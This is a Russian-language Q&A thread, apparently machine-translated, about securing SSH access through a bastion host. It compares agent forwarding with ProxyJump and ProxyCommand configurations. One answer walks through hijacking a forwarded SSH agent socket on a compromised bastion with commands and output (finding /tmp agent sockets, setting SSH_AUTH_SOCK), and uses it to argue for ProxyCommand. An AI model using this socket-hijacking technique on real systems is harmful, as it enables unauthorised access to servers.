Бастионный сервер: используйте TCP forwarding VS, поместив закрытый ключ на сервер

У нас есть бастионный сервер B. Нам нужно SSH от A до B на C, используя закрытый ключ.

Какой вариант лучше?

  • Поместите закрытый ключ SSH на сервер B. Мы читаем, что это плохая идея в производственной среде.

    Отсюда:

    Никогда не размещайте свои закрытые ключи SSH на экземпляре бастиона. Вместо этого используйте переадресацию агента SSH, чтобы сначала подключиться к бастиону, а оттуда - к другим экземплярам в частных подсетях. Это позволяет вам хранить ваш закрытый ключ SSH только на вашем компьютере.

  • Используйте переадресацию агента SSH. Для настройки переадресации агента мне нужно разрешить пересылку TCP. При настройке переадресации агента на хосте пересылки создается файл сокета, который представляет собой механизм, с помощью которого ключ может быть перенаправлен к месту назначения. В настройках Бастион на AWS:

    Переадресация TCP: если для этого значения установлено значение true, включится переадресация TCP (туннелирование SSH). Это может быть очень полезно, но это также и угроза безопасности, поэтому мы рекомендуем оставить настройку по умолчанию (отключена), если это не требуется

    Также отсюда:

    Переадресация агента SSH считается вредной

Что лучше? Как насчет альтернативы из второй ссылки: ProxyCommand, я понимаю, что это помогает с проблемой файла сокета, но все же я думаю, что мне нужно включить пересылку TCP, так что это достаточно безопасно?

3 ответа

Решение

Используйте ProxyCommand или ProxyJump

Я бы порекомендовал использовать ProxyCommand (или даже лучше ProxyJump так как синтаксис проще, но требует openssh 7.3+ (я думаю на стороне клиента), и вам не нужно развертывать закрытый ключ на Bastion, все остается локальным.

Пример с ProxyJump

На вашем клиентском компьютере вы пишете файл в ~/.ssh/config с аналогичным содержанием ниже:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Затем делать ssh srvC соединит вас с C через B (бастион) без переадресации агента или развертывания закрытого ключа на бастион.

В приведенном выше примере "bastion" - это псевдоним вашего хоста Bastion, а srvC - это псевдоним вашего сервера C. HostName вам нужно указать либо IP-адреса, либо реальные полные доменные имена для ваших хостов. Для пользователей вам необходимо обновить User для правильного имени входа на Бастион и сервер C. Наконец, IdentityFile необязательно, если вы используете локальный агент (например, KeeAgent или ssh-agent), но если он не запущен, он также будет работать и запрашивать у вас ключевые пароли.

Развертывание открытых ключей

Конечно, вам нужно развернуть открытые ключи как для бастиона, так и для srvC. Вы можете использовать (знак $ только для иллюстрации приглашения, не вводите его):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Примечание: вышеуказанное будет работать, только если аутентификация по паролю все еще разрешена. После вышеописанного развертывания и проверки того, что все работает как положено, вы должны запретить аутентификацию по паролю на 2 серверах.

Пример с ProxyCommand вместо ProxyJump

Если у вас более старая версия OpenSSH, которая не поддерживает ProxyJump (на стороне клиента), затем замените:

ProxyJump bastion

от

ProxyCommand ssh -q -W %h:%p bastion

Насколько я понял, это похоже.

Я видел ответ про ProxyJump. Давайте поговорим о ProxyCommand.

Но подожди, подожди! Я могу написать вам, как взломать сервер, который использует переадресацию агента, это будет намного легче понять разницу!

Давайте взломать!

Для основных шагов: вы можете прочитать мой пост здесь

Основные шаги следующие:

  1. Создать пользователей бастиона
  2. Отключить root-логин
  3. Блокировать попытки взлома
  4. Изменить порт
  5. Настроить брандмауэр
  6. Настройте SELinux

Как использовать AgentForwarding

-Создать конфиг в ~ /.ssh / config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

-Добавьте свой ключ аутентификации в ssh-agent

ssh-add ~/.ssh/name_rsa

-Соединиться с бастионом

ssh bast

-Подключение сервера приложений от бастиона

 ssh app@IP -p PORT

Взлом!

Вы можете задать мне вопрос:

  • Безопасен ли мой сервер? И ответ довольно прост:

    • НЕТ!
  • Зачем?

    • Потому что вы используете переадресацию агента SSH!
  • И в чем проблема?

    • Потому что переадресация агента опасна и считается вредной.
  • Зачем?

    • Давайте объясним все наизнанку: когда вы подключаете бастионный хост, ваш славный ssh-агент перенаправляется. Это означает, что сокет будет настроен так, чтобы кто-то мог использовать эти данные сокета для доступа к вашим серверам. Представьте, что ваш бастионный сервер скомпрометирован. Если у кого-то есть достаточные разрешения на вашем Linux-сервере, он / она просто использует информацию о вашем сокете. В результате, весь ваш сервер может быть доступен. Я знаю, что окно компромисса очень мало, потому что оно зависит от того, сколько времени вы подключены к хосту бастиона. Но вы действительно хотите рисковать, когда у вас есть другие варианты, такие как ProxyCommand? Следовательно, просто используйте ProxyCommand!

Как взломать серверы, если вы взломали бастионный хост?

Трек Цель

В каталоге / tmp вы можете увидеть что-то вроде этого:

[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Давайте откроем временный файл

[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Давайте посмотрим на соединения с этим идентификатором процесса.

netstat -nxp | grep  10507

результат:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

а кто связан?

lsof -i -a -p 10507

результат:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

Мы также можем увидеть файлы сокетов:

cd /proc/10507/fd/
ls

результат:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

А что будет, когда клиент будет подключен к удаленному серверу? Посмотрим:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Мы даже можем увидеть, используется ли файл сокета с помощью netstat:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Информация о краже сокета и IP-адрес

Теперь нам нужно украсть информацию о сокете, пока открыт сеанс бастионного хоста. О, нам также нужен IP-адрес сервера назначения, поэтому просто используйте netstat:

netstat -tn

Последний шаг для использования перенаправленного файла сокета

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Проверьте, загружен ли ключ.

ssh-add -l

результат должен быть примерно таким:

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

Сервер взломан, как исправить проблему безопасности?

Прокси команда

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Для основных операций: как передавать файлы через серверы (от клиента к серверу, от сервера к клиенту), вы можете прочитать в моем посте здесь

Заключение

  • Если вы используете бастионный хост, не используйте AgentForwarding, но используйте ProxyCommand
  • Всегда используйте пользователя без полномочий root для аутентификации
  • Используйте брандмауэр и заблокируйте все ненужные подключения.
  • Используйте SELinux (в общем)
  • Заблокируйте IP-адрес, который пытается войти несколько раз с неверными учетными данными
  • Если это не нужно, не разрешайте пользователю sudo
  • Контролируйте свой сервер
  • Обновите свой сервер для исправлений безопасности

Более подробную информацию смотрите в моем блоге. Кроме того, у меня есть несколько скриншотов, так что это может быть полезно для вас.

Просто используйте переадресацию агента SSH, как и большинство других.

  • Ключи будут в ssh агенте на вашем ноутбуке.
  • Вы входите в бастион, аутентифицируемый через агента.
  • Оттуда войдите на целевой хост, с запросом аутентификации, перенаправленным обратно на ваш ноутбук.

Преимущество: на бастионе не хранятся ключи, которыми можно злоупотреблять.

Надеюсь, это поможет:)

Другие вопросы по тегам